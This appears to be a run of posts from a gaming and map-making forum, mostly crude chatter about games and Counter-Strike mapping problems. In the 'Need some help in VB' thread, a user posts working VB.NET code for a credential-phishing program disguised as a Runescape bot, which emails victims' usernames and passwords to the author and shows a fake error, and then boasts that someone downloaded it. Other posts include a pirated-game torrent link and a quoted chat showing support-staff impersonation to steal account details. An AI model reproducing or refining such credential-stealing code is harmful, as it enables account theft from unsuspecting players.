But worry not! Blizzard has been notified of this a few hundred thousand times. So I'm sure it will be fixed soon!
Like in a year or two.

Fuck this, I'm going back to my singleplayer meteorb sorc.

In d2lod help by aaronjer:
Huh... well... poor bastards still don't know how to balance their game. Oh well. Why did they even bother doing stuff like increasing hydra damage by 15%? I mean... maybe 450% and it'd be useful... but 15%?!

You can tell they don't play the game. It's so annoying!

In d2lod help by Mate de Vita:
NatureJay said:
The ladder either just reset or is about to and man I would love to have the time to play it right about now

I already have a lvl 3 sorc ^^
Gonna go with a meteorb at first then respec to light.

In d2lod help by NatureJay:
The ladder either just reset or is about to and man I would love to have the time to play it right about now

In How do i Change teh Background color? by NatureJay:
Also there is no real telling as to whether or not what you will be getting is better or worse.

And now Outcast's background is reminding me of the between stage screens in Monster Party and that's making me want to play it and no one should ever play Monster Party unless they grew up with it and really didn't know any better at the time (like I did).

In killing floor by SRAW:
i can play this for free on garena.

In Be a Video Game Character by sprinkles:
Thanks, I am only roughly sure about the plot, so there may need to be more voice actors or less. But, hopefully, I will have more than 3 characters in the entire game.

I haven't yet decided if it will be free or I will charge for it. But, if I do charge a fee then any voice actors, moreover anybody that helped, will receive a portion of the profits. However, don't quit your job now, because I will only charge like 5-10 bucks for it. In all actuality I may only charge for the online (multi-player) game play - in which case the cost would be reduced to like $3 charged bi-weekly. Most importantly, if I do price the game anybody that helped in making it will receive a free 'copy.'

the_cloud_system said:
what program do you guys use for voice and what site do you put the file on?



If you get a program like http://www.bbsoftware.co.uk/bbflashbackexpress/home.aspx?cc=true
which records video I can splice the audio from it (you still need I mic of some sort).

In Sound Won't Play by sprinkles:
Here are the settings:
8 bit
mono
11025 Hrtz
MS Wave

I even added cue points and such.
The sound won't play at all.
The trigger is correct.
The path is correct.

The ambient generic settings:
name YouNeedHelp
path sound/folder/YouNeedHelp.wav
start silent true
radius medium true

The trigger multiple settings:
name TriggerYouNeedHelp
target YouNeedHelp

WTF?

In Digital by Down Rodeo:
http://www.scoutshonour.com/digital/

This is a lovely game. It has kept me awake for... well, a little over an hour and a half now. But I need to be awake in a few short hours. To bed! You should play this! But bed!

In Can anyone explain this??? by SRAW:
aaronjer said:
Uh... we play HoN now tard. WTF is wrong with you? Why would be play the shitty version of DotA?


... bump, heroes of newerth is ok, but i really think dota is boring, but i play it cause some of my stupid friends keep spamming my msn

In Protect your map by Outcast:
I think he wants to put a message to those who don't know and give em some link to his website to have many views or something like that.But it's still really stupid because we make maps to play em not to "protect" them.Plus you could do what Killer-Duck said.Set a password on your server instead...

In How can i replace wav sounds with my sounds ? by vendim:
SRAW said:
you cant do it map specific unless you use a mod like a amx plugin

but just go to the sounds folder and replace them, but the sounds recorded must have a special frequency/settings that the hl engine can play but im too lazy to check now

i try to replace the wav sounds, i recored my sounds with the same frequences but nothing happend,ok anyway thanks for reply me

In How can i replace wav sounds with my sounds ? by SRAW:
you cant do it map specific unless you use a mod like a amx plugin

but just go to the sounds folder and replace them, but the sounds recorded must have a special frequency/settings that the hl engine can play but im too lazy to check now

In Can anyone explain this??? by aaronjer:
Uh... we play HoN now tard. WTF is wrong with you? Why would be play the shitty version of DotA?

In Can anyone explain this??? by SRAW:
you shouldnt play any of these valve games, instead you should play dota! have fun being called a feeder and noob if you lose, and a maphacker if you win!
yeah dota in malaysia has a really shitty community, all they can talk about are "sohai(pussy or something like that in chinese) feeders" or "mcb noobhai leave la" and if you leave they will call you leaver, so you cant win,since you get called a hacker

in other words, be glad theyre just calling you gay

In Help me by sprinkles:
I need to know what you think of this.
Its simply a program that has a picture box
with a progress bar. Play around with the speed
and tell me what speed is best. Also please tell
me what the think of the progress bar itself (i.e.
colour, style, etc.).

http://www.speedyshare.com/files/20996692/Progress_Bar_Test.zip

P.S. this is serious, so please try to keep on topic.

In Anyone know how to make a map that no can join it by bigmac:
Down Rodeo said:
bigmac said:
LOL no... i mean is there any entities where if you fu#@ up the properties on it... it will either lag the server a hole lot or just crash completely... i can do that because i know how to make plugins and i would know which entity to remove
Example of an Entity

entity "light"
Name "badlight"
Target ""
Brightness "255 255 255 9999999"
Appearance ""
Custom Appearance ""
...

All i have to do is create a plugin that will remove that when i load that map then it wont be lag for the server im trying to put it... i tried the light all ready and didn't work but im sure theres entities that if you mess up it will crashs
o.O never mind i got on
hehe
it you want to know how to mess it up so no can steal your map just let me know...


You're weird, stop it. Sadly BSP files are "binary space partition files" are binary files, not easily-editable text files. Look, why do you want people to play this map on one server only? Besides, you're also placing quite a lot on people *liking* your map enough. You've just started, I can't see it being that likely.


Sadly how can you say that lol. you do not even know me... and you and yes i know there binary space lol fail but you could use a plugin where it coded for the map to run. as you can see in what i uploaded...

In Anyone know how to make a map that no can join it by Down Rodeo:
bigmac said:
LOL no... i mean is there any entities where if you fu#@ up the properties on it... it will either lag the server a hole lot or just crash completely... i can do that because i know how to make plugins and i would know which entity to remove
Example of an Entity

entity "light"
Name "badlight"
Target ""
Brightness "255 255 255 9999999"
Appearance ""
Custom Appearance ""
...

All i have to do is create a plugin that will remove that when i load that map then it wont be lag for the server im trying to put it... i tried the light all ready and didn't work but im sure theres entities that if you mess up it will crashs
o.O never mind i got on
hehe
it you want to know how to mess it up so no can steal your map just let me know...


You're weird, stop it. Sadly BSP files are "binary space partition files" are binary files, not easily-editable text files. Look, why do you want people to play this map on one server only? Besides, you're also placing quite a lot on people *liking* your map enough. You've just started, I can't see it being that likely.

In Anyone know how to make a map that no can join it by Rockbomb:
I'm not understanding the logic in doing this...
Ok, so in order for someone to play this map on YOUR server, they will have to download the map. If you have them download a map that doesn't work, then they can't play on your server. If you have them download a map that does work, they can steal it and use it as they wish...

In Anyone know how to make a map that no can join it by the_cloud_system:
oh i get you

if people steal your bsp and try to play it on there servers theye will get it all fuckerd up

In Anyone know how to make a map that no can join it by Rockbomb:
bigmac said:

Only the map who created the map


First of all, maps don't create other maps.
Second of all, what would be the point of making a map that nobody can play?

In Check out this sexy band by molkman:
I play in.

http://www.myspace.com/waistoftime

We recorded three of our songs with stupid Garageband. I play drums.

In Protect your map by sprinkles:
Its a map man, its not like there is much intellectual property to create one. What is so wrong that other servers cannot play your map? And, anyways, it is a map, its not like you are entering a project into the Nobel Peace Prize.

In Protect your map by SRAW:
the only way it could have been done before(as you say) is serverside(an amx plugin)

any why would you need to protect your map anyway? its not like anyone is going play shitty maps like that and im being rude to you because i dont like how you claim you stayed up the whole night and googling and sounding like a total FORUM NEWBIE

In Protect your map by HoboJim:
How do i make a map soo only a people/server has paswords can play it, if no pass/code <--(or whatever) you get transported into a room with nice texture saying its only avalaivable on a certain servers?

Ive been looking for it on google for hours, now its 3 AM and im sick of googling and drinking coffe. I did search for it on this site too since its helped me before but without any luck.
I doo bet that ive havent looked furthere then my beard and ive missed it...

And since it has been done before some one is bound to know how to, know help i can only go to bed and hope some kind fellow will help me while i sleep...

In super bowl by SolidKAYOS:
The only sport that has entertained me is WWE. It boring to watch people play sports.

In super bowl by the_cloud_system:
aaronjer said:
why not just go play the game instead?



im with you on that but its also a bonding contact sport like boxing or hockey or ufc they all end in getting the shit knocked out of them

In super bowl by aaronjer:
I don't know any female who is less interested in sports than I am. I'm very sorry, but football is an incredibly slow and unimaginative game... I can't even feign interest. In any case, I don't enjoy watching ANY game that doesn't involve at least one person that I know. I don't understand why there are so many people that enjoy watching people they've never met play a game. Like... why not just go play the game instead?

In talk to santa by SRAW:
wow you actually play farmville

and the thing about work and prison, you fail to note that in work, you also get to go home or go out which > prison, thus making you FAIL

In talk to santa by the_cloud_system:
IN PRISON..........you spend the majority of your time in a 10X10 cell.
AT WORK............you spend the majority of your time in an 8X8 cubicle.

IN PRISON.........you get three meals a day.
AT WORK...........you get a break for one meal and you have to pay for it.

IN PRISON..........you get time off for good behavior.
AT WORK............you get more work for good behavior.

IN PRISON..........the guard locks and unlocks all the doors for you.
AT WORK............you're often required to carry a security card and open all the doors yourself.

IN PRISON..........you can watch TV and play games.
AT WORK...........you get fired for watching TV and playing games.

IN PRISON.........you get your own toilet.
AT WORK..........you share the toilet with some people who pee on the seat.

IN PRISON..........they allow your family and friends to visit.
AT WORK............you're not supposed to even speak to your family.

IN PRISON.........all expenses are paid by the taxpayers.
AT WORK............you pay all your expenses to get to work, and then they deduct taxes from your salary to pay for prisoners.

IN PRISON..........you spend most of your life inside bars wanting to get out.
AT WORK ...........you spend most of your time wanting to get out and go inside bars.

IN PRISON .you must deal with sadistic wardens.
AT WORK...........they're called managers.

In The Official Omegle™ Truck by the_cloud_system:
4606 users online
You're now chatting with a random stranger. Say hi!
You: hi hi hi
Stranger: hi
You: whats up
Stranger: nm u
You: just borrrrrrrrd
You: soo uhh
Stranger: me to
You: do you play games?
Stranger: like what?
You: final fantisty
You: idk :S
Stranger: no but my friend plays that game its awesome
You: mhmm
You: waht games do you play?
Stranger: idk
Stranger: wow
Stranger: halo
Stranger: shadow of the colossus
You: thatsd a good one
Stranger: legend of zelda
Stranger: you m or f
You: m
You: i used to have legend of zelda
You: then i lost it
Stranger: im f
Stranger: oh


yah thats truley outrageous
Stranger said:
: im f

In Movies by sprinkles:
Rockbomb said:
I didn't really like the guy that they chose to play the main role in Hitman, but I still really liked the movie.



Are you serious? Why? I think Tim (his real name is Timothy Oljoiepwhia;) was a pretty damn good choice as Hitman.


And, did anybody else notice that after they (the Russian Secret Police) tried to breach his hotel room those kids where playing the Hitman game?

In Movies by Rockbomb:
I didn't really like the guy that they chose to play the main role in Hitman, but I still really liked the movie.

In Player start entity help???? by Trojan12:
ok i got that i did that and then i play it and i try to add more and the game closes and it says this: Error: lightmap for texture aaatrigger too large(21 * 17 = 357 luxels); cannot exceed 324

In I never got to show you guys by NatureJay:
I always interpreted it someone getting laid by a band groupie because they can "play guitar", though they only actually know three chords.

In Ways to block like other than using regular brushes by SolidKAYOS:
SRAW said:
SolidKAYOS said:
EMO_with_AWP said:
bleh idk

Thats what she said.


ignore havokk, she just had a hard day being owned in the only thing she does(playing ff12)

1. I'm a guy. Much more of a guy than you.
2. I don't play FF12. You must be mistaken for FFXI and i dont even have that no more.
3. Learn to take a joke. Thats whats wrong here.

In What game am i thinking of? by Rockbomb:
Ah, what a great weekend that was.
I went out and bought tekken 4 and bloody roar 3, and spent the weekend owning my friends.
I really wanted to get tekken 3, cuz thats what I used to play all the time, but none of the gaming stores around here had it, so I had to settle for 4

In Some of my Cs 1.6 Maps -.-' :D by Outcast:
tijuta said:
hey your maps are cool, but I have a little question ...
How do you make the maps? Cause´ i´m trying to make one but I can´t play it I made a Firetruck http://www.superjer.com/forum/heeellpp_couldnt_open_towad.php

but it seems no one can help me :(


I learned here http://www.superjer.com/learn.php

It's a really cool guide step by step very easy

But some things like making a sky and some other stuff are not included but it's not very hard to do :D

In Some of my Cs 1.6 Maps -.-' :D by tijuta:
hey your maps are cool, but I have a little question ...
How do you make the maps? Cause´ i´m trying to make one but I can´t play it I made a Firetruck http://www.superjer.com/forum/heeellpp_couldnt_open_towad.php

but it seems no one can help me :(

In HEEELLPP... "couldn't open to.wad" by tijuta:
Hello people, I'm new in this forum, I've been looking for a place like this but, is until now from a week ago that I found it, Thank you for existing :P

Well my problem is that I Compiled my map with VHE and everything went OK, until I tried to play it on CS 1.6 nonsteam, I couldn't. There poped a window with the message:

"Fatal Error/ Could't open to.wad"

then I tried another compiler, The Batch Compiler, but now it says:

"Mod_LoadBrushModel:maps/personaldo.bsp has wrong version number (571084155 should be 30)"

So, what do you think the problem is, can you help me? Plis?

thank you for your time :)

In What game am i thinking of? by Rockbomb:
So I was reminiscing about all the old ps games I used to play, and I remembered playing Tekken a lot. But then I remembered playing this other game, that was similar to Tekken, but different characters and stuff. From what I remember, there was a character name Gato, and there was a character that was a rabbit. I tried searching google but I couldn't come up with anything.

Anyone know what game it is?

In Face of Mankind by aaronjer:
DR is a FOOL, whatever game he is pimping doesn't matter. Go play FoM instead!

In Remember? by NatureJay:
Yeah?

Superjer had it. I watched him play parts of it at his house like eight years ago or something. It doesn't seem as funny now as it used to be? Or maybe those cut scenes were just bad.

In Hmm annoying.. by sprinkles:
The problem is you are linking ALL the walls to ONE func_breakable. This is a big 'no-no.' It causes the map to play slower -I cannot remember why.

In i want to ask somethin, and about DEATHRUN map by sprinkles:
SRAW said:
Lorenzo said:
owh thanks.
and, what can we make for DR map???
i mean like Hammer, Laser, Death Water, Breakable way, Moving Wall, etc.
and maybe u have some. can u all give me a tutor for make all of that? cz i cant make it.


maleyu babi, u always ruin my dota games, like once this MALAY/INDO was vengeful spirit, i was a veno, anyway, my score was 1kill 1 death, his score was 1 kill - 12 deaths!!!!!!!!!!!

if u play deathrun_temple u mean, i think the hammer thing is a func_train, lasers can just use env_laser or whatever the entity is called

as for water, just cover that area with trigger_hurt
breakable way just use func_breakable, and if you want to trigger it with button... u can

moving wall func train again


Don't take advice from someone with poor grammer...

In i want to ask somethin, and about DEATHRUN map by SRAW:
Lorenzo said:
owh thanks.
and, what can we make for DR map???
i mean like Hammer, Laser, Death Water, Breakable way, Moving Wall, etc.
and maybe u have some. can u all give me a tutor for make all of that? cz i cant make it.


maleyu babi, u always ruin my dota games, like once this MALAY/INDO was vengeful spirit, i was a veno, anyway, my score was 1kill 1 death, his score was 1 kill - 12 deaths!!!!!!!!!!!

if u play deathrun_temple u mean, i think the hammer thing is a func_train, lasers can just use env_laser or whatever the entity is called

as for water, just cover that area with trigger_hurt
breakable way just use func_breakable, and if you want to trigger it with button... u can

moving wall func train again

In Champions Online by andre:
Im sure it will have a free trial.every MMO does. But dont think you ganna play the trial and say fuck the game.

Nintendo Forum

In My new laptop by Rockbomb:
Yeah, I can finally play whatever online games i want now. My old comp had such a shitty graphics card that it wouldn't play anything xD

In my new labtop by cloud by fedex _:
Mate de Vita said:
Similar thing here, does anyone know where I could get a Tomb Raider 1 CD (or at least a working noCD crack)? Since I can't find it for sale anywhere, I pirated something from da pirate bay but it was a copied already installed game without a CD and it requires a CD to play.

(I used dosbox of course)



http://www.torrenthound.com/hash/62356e2060c6ef3d00c4c6d2b45d129294f25558/torrent-info/Tomb-Raider-1-PC

In my new labtop by cloud by Mate de Vita:
Similar thing here, does anyone know where I could get a Tomb Raider 1 CD (or at least a working noCD crack)? Since I can't find it for sale anywhere, I pirated something from da pirate bay but it was a copied already installed game without a CD and it requires a CD to play.

(I used dosbox of course)

In Call of Duty Modern Warfare Sequel by the_cloud_system:
i remember when my balls droped... right in straws moms mouth


edit: i fucking hate whenever people call other people noob its like calling a vacuum a blow job. like i was playing lfd2 and i got to be tank and i fucking sucked that round not evin the next round i got to play agane and i fucking kick ass. yes it was my first time as a tank and I SUCKED. yah i rather be sead to as "you fucking suck kid" than a noob

In Need some help in VB by Rockbomb:
SRAW said:
lol, but how do you expect to... spread it to other people... and wont they get a bit suspicious when their antivirus detects it as some lame vb virus
edit: isnt runescape also an online game without any client lol



Well like I said, I don't play Runescape, so there's really no need for me to spread it. I was just bored and decided to make it.
Although, just for kicks, I made a "tutorial" on how to use it and put it on Youtube :P
http://www.youtube.com/watch?v=iludfkAI2PQ


Roflmfao, some idiot actually downloaded it. If anyone wants an account with level 3 fishing let me know xD

In Need some help in VB by Rockbomb:
So I wrote a phishing program, disguised as a Runescape bot (No, I don't play RS).
But basically I set it up and everything works great. They input their user/pass, then select what skill they want to train, and when they click start it sends em the user pass as well as displays them with a phony error box. The only thing, is when I get the email, everything is all jammed together, so I want to put the user/pass on separate lines.
Here's what I've got at the moment...
code
Imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("XXXXXXX@gmail.com") MyMailMessage.To.Add("XXXXXXX@gmail.com") MyMailMessage.Subject = ("free account") MyMailMessage.Body = TextBox1.Text + "-" + TextBox2.Text Dim SMTPServer As New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("XXXXXXXX@gmail.com", "XXXXXXXXX") SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) MsgBox("This version of RSProBot is not compatible with the current Runescape Client. Please contact our support team at: Support@ProBot.net", MsgBoxStyle.Information, "Compatability Error") End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click End End Sub End Class

Which yields "User-Pass" in the email.
I've tried doing something like
code
MyMailMessage.Body = TextBox1.Text + (SendKeys.Send("{~}")) + TextBox2.Text

But I keep getting errors.

Any ideas?

In Call of Duty Modern Warfare Sequel by Mate de Vita:
sprinkles said:
You kill people. How can they add to that? You don't play CoD for the storyline, you play it to kill people.

I play it because of Price.

In Call of Duty Modern Warfare Sequel by sprinkles:
You kill people. How can they add to that? You don't play CoD for the storyline, you play it to kill people.

In Call of Duty Modern Warfare Sequel by the_cloud_system:
i wana play halo reach cause you get to run :D

In Call of Duty Modern Warfare Sequel by fedex _:
SolidKAYOS said:
the_cloud_system said:
SolidKAYOS said:
It just seemes like another example of Halo 3 from what i hear.


What is there a problem with hearing things from ppl who play the game? Just like reading a review.



well , its alright , but not as good i as i thought

In Call of Duty Modern Warfare Sequel by fedex _:
SolidKAYOS said:
the_cloud_system said:
SolidKAYOS said:
It just seemes like another example of Halo 3 from what i hear.


What is there a problem with hearing things from ppl who play the game? Just like reading a review.



well , its alright , but not as good i as i thought

In Call of Duty Modern Warfare Sequel by SolidKAYOS:
the_cloud_system said:
SolidKAYOS said:
It just seemes like another example of Halo 3 from what i hear.


What is there a problem with hearing things from ppl who play the game? Just like reading a review.

In Call of Duty Modern Warfare Sequel by SolidKAYOS:
Fuck you all. Up the ass. Wtf is so great about it? It just seemes like another example of Halo 3 from what i hear. It has some cool new things added to it than from the first one. But its the same damn thing. Why is this the only game i see all my friends playing on xbox live?

I cant get no one to play with me on l4d2 and i have to scowl around for hours trying to find a team that actually talks to me.

In Please help , how to make toxic water by xD:
I did so set it to trigger hurt and what happons?? when I start my map , the water that was there it ain*t more there. In hammer water was there and when I play its just and empty spot???

For the door I have readed the superjejers tutorial.

In long ass time ago by the_cloud_system:
Like all 8 year olds I was infatuated with Pokemon cards. I had a deck, the marbles that went with them, the nine yards. But a few weeks ago I found the deck that I had put away (cause my bad side of my family where over and....steal shit) under my desk. so i decided to bring it to school for kicks.

I know that theres a group of kids that play card games so i told them forehand and they sead ok. So the next day i came to school and they brought there deck. i played a game and i kick the shit out of him. He was all neard-ey and sead "well i should of won, i have the best cards..." calling bull shit on his act i sead "then how did i win, i beat you with a 5 year deck"... you know i never really got into yu-gi-oh but this guy... i think he was a senor pimpley i think he had mutten chops...

but he asked me to play yu-gi-oh and i sead no but for some reason he called me a pussy and shuns me from his group i have no problem but this guy has a narrative Leonerd nemoy voice in his head wanting me to get a pvc pipe and ram it up his fat rolls(not gay) but im gona keep it in a box with a lock with all my porn mag thats not gonna be bent....ever

In Down Rodeo by sprinkles:
Down Rodeo said:
You'd probably need to play.


I've played Bioshock, one of my favourite games actually, but there is nothing Bioshocky about your name.

In Down Rodeo by Down Rodeo:
You'd probably need to play.

In Gay. by Sushi:
What you mean? I'm going to hack someone? Why would I do that? I told you already that I don't haven an account to play with. :(

In Gay. by Sushi:
I only play CS 1.6, because that's where my favorite servers are.

In Gay. by Sushi:
No, it just said like, "This account is being used by another computer" Something like that. I don't know how to hack. :/

It's really gay because, I just got done with my map I made. And now I don't have an account to play with.

In SUper Sloth! by sprinkles:
SolidKAYOS said:
That is addicting. But i cant play for awhile cause i gatta go to my gfs house. I almost decided not to go for it.


Cheat on your girl with a flash game? Wow. I mean like if it were Counter Strike or CoD or something and you were like "yea cant come over gotta kill some mother fuckers" thats ok, but a flash game really?

Oh and I never got past the loading screen.

In SUper Sloth! by SolidKAYOS:
That is addicting. But i cant play for awhile cause i gatta go to my gfs house. I almost decided not to go for it.

In SUper Sloth! by Sloth:
Super Sloth!
'
I once made a essay about this.

In I have no name :( by macogoo:
my defuse map is finaly done after a week of work... but then this shows up:/... how to fix it?
I've read on the common problems ,but i dont realy get it:/
please help fast, gonna play it agaisnt my friends.
hlrad: Error: Exceeded MAX_PATCHES

In Schpida! He is our hero! by aaronjer:
She's pointing because she's challenging some poor sap (me) to lose at tennis against her. And Havokk is right, I'd love her just the same even if she didn't play tennis. And her penis is really very small. Almost unnoticeable.

Oh, and normal tennis poses wouldn't do for her. I'd describe her as being "supernaturally" good at tennis. The picture I'm working on right now is of her doing a cartwheel flip through the air and hitting a tennis ball while upside-down. She's such a show-off!

In Schpida! He is our hero! by SolidKAYOS:
fedex _ said:
aaronjer said:
Okay, she no longer has any knee problems. ARE YOU HAPPY, MOLKERS?! God. I'll post the picture of her doing an awesome cartwheel flip through the air while swinging her racquet right as soon as I decide to.





ok , i aint a judge but why did u make her point..? make her in the stance of she was playing tennis

Because pointing is sexy. No one cares if she can play tennis.

the_cloud_system said:
that qweer stance that makes her look like she has a cock





Ok I get what your going for,( at least i think you was going for pantie shots) but it was a epic fail. What i Really noticed was the muscles on those legs, daamn.

In sprinkles? by sprinkles:
Sushi said:
Do you play in Quick-Gaming? I saw your name in their ventrillo.



?


Are we talking counter strike here?

In sprinkles? by Sushi:
Do you play in Quick-Gaming? I saw your name in their ventrillo.

In Dream Time by aaronjer:
I had a short and sweet one last night. It feels like the dream was missing a massive amount of backstory, but that sort of fit with the theme of rampant memory loss.

I'll describe the scenery first. I spent the entire time in what well could have been an extremely old volcano crater, or an ancient bomb crater that just happened to be right at the top of a hill. The crater was just large enough to fit two tennis courts, a miniature park, a hexagonal single floor house, a convenience store and a cul-de-sac in the middle. There was road going through a gap in one side of the crater that led down to a ruined modern city and an ocean. There was a great deal of plant-life growing happily inside the crater, but outside everything was mostly dead and barren.

Shadows often passed over the crater as enormous manta-ray like creatures lazily flew hundreds of feet above in packs of three or four. Occasionally an even larger but clearly artificial manta-ray like jet/flying battleship would fly over, irritatingly loudly I might add. Nothing up in the sky was ever of any consequence, it was just there.

At the start of the dream there were around thirty people living in the crater. People were dressed well and clean, not what one would expect in a post-apocalyptic world with ruined cities and barren lands. Everyone in the crater was suffering from some varying degree of memory loss. It was almost random what memories were missing, except that nobody could remember their name and on top of that most people had no form of identification. Except for that fact that GaryJer remembered my name and I remembered his, and except for Mr. Hill, who still had his driver's license, people had to make due with nicknames.

The only person who had been in the crater before I had shown up was a tall, fit and tan young woman in a black and red tennis outfit nicknamed "Rice". She wasn't Asian, it was just that when GaryJer, Mr. Hill, "Gold", "Glass" and I came to the crater (we were, according to my dream memory system [DMS], the first group to show up, and I don't know how Gold and Glass got their names) the only thing she had been eating from the confusingly oversized basement freezer in the convenience store was teriyaki rice bowls. She had eaten at least fifty of them. She's weird. Whatever.

Mr. Hill was a man in his thirties with a distinguished air about him, he wore a white suit that was probably more expensive than my truck, and except for GaryJer and I, was the only person who owned a firearm. In fact, nobody other than us three could remember what firearms were. However, we never used them for any purpose. Gold looked and dressed like a Supermodel, with long blond hair and perfect complexion. She also had the annoying habit of trying to have sex with me, no matter how thoroughly involved I already was with Rice. Glass was a stereotypical "Goth" teen girl with pale skin, black hair, way too much eyeliner and silly looking dark clothes. Glass slept on a couch in the hexagonal house. Always. I never saw her move more than breathing required. The only other person of note was a slightly overweight lesbian named "Torpedo".

Now, all this seems like a fantastic set up for adventure, conspiracy and mysteries... but hardly anything happened in the whole dream. And none of what happened would be out of the ordinary in a romantic comedy. Rice was by all means my girlfriend, I don't really know how we got started, but we spent all of our time together. I assume, anyway, what took place in the dream would only take an hour at most. Gold clearly wanted to steal my poontang, and Torpedo was secretly in love with Rice. And by secretly I mean that everyone but Rice knew about it. Torpedo also hated me very much. The whole dream seemed to be focused on our love triangle, although it's not really a triangle, I suppose. I guess it's a love... one of these --> /\/ With the points in the middle being Rice and I, and the points on the end being Torpedo and Gold.

Anyway, enough explanation! The first thing I did was step outside of the hexagonal house with a cup of coffee. Rice was a minute behind me in getting ready, we were going to play tennis. She was certainly better than me, but at least I could play... unlike real life. Before I could take a sip I was assaulted by the amorous advances of Gold. She sat at a two person round glass table just outside the house and pretended she didn't notice me. She was wearing a very short skirt and had her legs spread wide open and aimed directly at me. When I tried to walk past and ignore her, she stood up with designs of grooming some non-existent specks of dust off my person. Before she could get far and before I could "accidentally" spill my coffee on her, Rice showed up and slapped her good and hard. Rice said, "Bad girl, down!" in an unavoidably demeaning way, and Gold stormed off, presumably to act huffy and irritate somebody else. Glass continued to sleep inside.

A crowd had formed to watch Rice and I play our match. Everyone but Glass was there. I don't remember if it was three or five sets, but it doesn't really matter, because I never won a set anyway. There was obviously very little to do in the crater, as crowds don't usually form for a sporting event where the outcome is already known. Surprisingly, the match took quite a while. I managed to return the ball over the net on average a dozen times before she scored, and I managed to stay a single point behind for quite a while before she eventually won the set. I think she was going easy on me on purpose. After Rice won, the crowd formed around her to tell her how great she was. In the bustle Torpedo got awkwardly close to Rice, stomped on my foot, and poked me very hard in the stomach. Everyone acted like it was a championship match between pros because they had nothing better to do. Everyone except for Glass, of course, who was far too tired to join us.

Afterwards I joked with Mr. Hill about shooting Gold and Torpedo, and hiding their bodies in the freezer. He seemed to think it was a good idea, and I'm afraid I had to convince him I wasn't really serious. GaryJer finished our conversation by telling me he had spotted a convoy of military vehicles passing through the ruined city with his scoped rifle. I took note of this, although there was nothing to be done about it, and returned to the hexagonal house. Inside I sat with Rice on a couch, sweaty as we were... the only shower was in use. We looked over Glass, who was sleeping, of course, out a window that overlooked the ruined city and had a good view of the sky. We watched the flying mantas soar overhead for a while and discussed racquet technique and ways to get Gold together with Mr. Hill or GaryJer. Glass let out a barely audible moan and I woke up.

I also have a vague memory of talking with Mr. Hill and GaryJer about how we had concluded that the world ended up in the state it was in only a year ago, even though most people believed everything had been destroyed for decades. I don't remember when we talked about that.

That was the most pointless contextually consistent dream I have ever had.

In Doors glitch? by Sushi:
Even my bhop blocks, it works when I compile and play. But it doesn't work in a real server. You jump on it, doesn't go down. It goes down when you jump off it.

In func_breakable glitch. by Sushi:
I set this 1 vent door that suppose to be breakable. It breaks, when I compile it and play it. But, it doesn't break in a real server...

In ReviveJer by the_cloud_system:
im play warcraft(-minusworld of)

In Bhop map. by sprinkles:
Sushi said:
So its func_train right? How about the settings and flags? :/

Play around with them until you get what you like

Sushi said:
And there's no func_teleport. You mean "trigger_teleport"?

Yes.

In Owned! by Rockbomb:
Someone posted this on another site, and I almost died laughing, so I thought I'd share
Quote:
br0kenrabbit says: hi

Greg_ValveOLS says: good evening

br0kenrabbit says: What's ip?

br0kenrabbit says: up?

Greg_ValveOLS says: my name is greg a member of the valve online Support team

br0kenrabbit says: On MSN?

Greg_ValveOLS says: yes

br0kenrabbit says: Why?

Greg_ValveOLS says: we logged multiple ips from your account and ned to verifi your information

br0kenrabbit says: My information?

Greg_ValveOLS says: we believe someone may have stolen your account mmmm you havent shared youre account infomation with anyone have you?

br0kenrabbit says: No. I don't even have it written down.

Greg_ValveOLS says: hmmm maybe a keylogger on you r PC then maybe you need a format?

br0kenrabbit says: Well...

Greg_ValveOLS says: if you can verify your account information to me i can insure that only your ip have access to it Its a new security feature were trying because this happens so muchlogin names and passwords aint safe anymroe You know. L

br0kenrabbit says: Well

Greg_ValveOLS says: dont worry this connect it secure

br0kenrabbit says: Can I be honest with you, Greg?

Greg_ValveOLS says: k

br0kenrabbit says: Look, I don't know how you go this MSN account name, don't really care, either.

br0kenrabbit says: Unlike you, I DO work for Valve. Trace my ip and you'll see.

Greg_ValveOLS says: huh?

Greg_ValveOLS says: bs

br0kenrabbit says: Trace it.

Greg_ValveOLS says: how

br0kenrabbit says: Start/run/cmd type Tracert and then my IP address and hit enter.

Greg_ValveOLS says: oh k

br0kenrabbit says: As an employee, I know that Valve employees will NEVER contact users over MSN. I also know a valve employee will NEVER ask a user for his/her username and password.

br0kenrabbit says: I'm putting a temporary hold on your Steam account.

Greg_ValveOLS says: why?

br0kenrabbit says: Have you read the ToS?

Greg_ValveOLS says: Tod?

Greg_ValveOLS says: tos

br0kenrabbit says: terms of service

Greg_ValveOLS says: were?

br0kenrabbit says: Greg, this is a serious infraction against the Tos. You are at risk of losing your account.

Greg_ValveOLS says: why

br0kenrabbit says: I just told you why

Greg_ValveOLS says:

br0kenrabbit says: I need some information from you if you want me to unlock you account. I'm going to write you up but I will only suspend you account for three days, since this is your first infraction, okay?

Greg_ValveOLS says: k

br0kenrabbit says: First, what is the name the account is registered to. Not the user name, the persons real name who created the account. This is for verification purposes.

Greg_ValveOLS says: xxxxx xxxxxxx

br0kenrabbit says: Is this you?

Greg_ValveOLS says: ya

br0kenrabbit says: Are you the only user of this account?

Greg_ValveOLS says: ya

br0kenrabbit says: Okay, and what is the username

Greg_ValveOLS says: xxxxxxxx

br0kenrabbit says: Okay.

br0kenrabbit says: I see you have purchased a few of our games, thank you.

Greg_ValveOLS says: some. dude

Greg_ValveOLS says: m

br0kenrabbit says: Do you always log on from the same IP?

Greg_ValveOLS says: ya

br0kenrabbit says: And who is your internet providers, your ISP?

Greg_ValveOLS says: xxxxxxx

br0kenrabbit says: Thank you. One moment, please, let me verify this information.

Greg_ValveOLS says: am i gonna be bale to play 2nite?

br0kenrabbit says: What is your city of residence?

br0kenrabbit says: That depends on if you cooperate. You're doing fine so far.

Greg_ValveOLS says: xxxxxx

br0kenrabbit says: Illinios?

Greg_ValveOLS says: yes

br0kenrabbit says: Okay. And what is the password associated with this account?

Greg_ValveOLS says: xxxxxxx

br0kenrabbit says: Okay. Do not try to log into steam. If you are connected now you need to log off.

Greg_ValveOLS says: why

br0kenrabbit says: So I can update your account.

Greg_ValveOLS says: can I play 2 nite

Greg_ValveOLS says: clan fight

Greg_ValveOLS says: wont win without me heh

br0kenrabbit says: Heh. You'll have to wait a few minutes. Are you logged off?

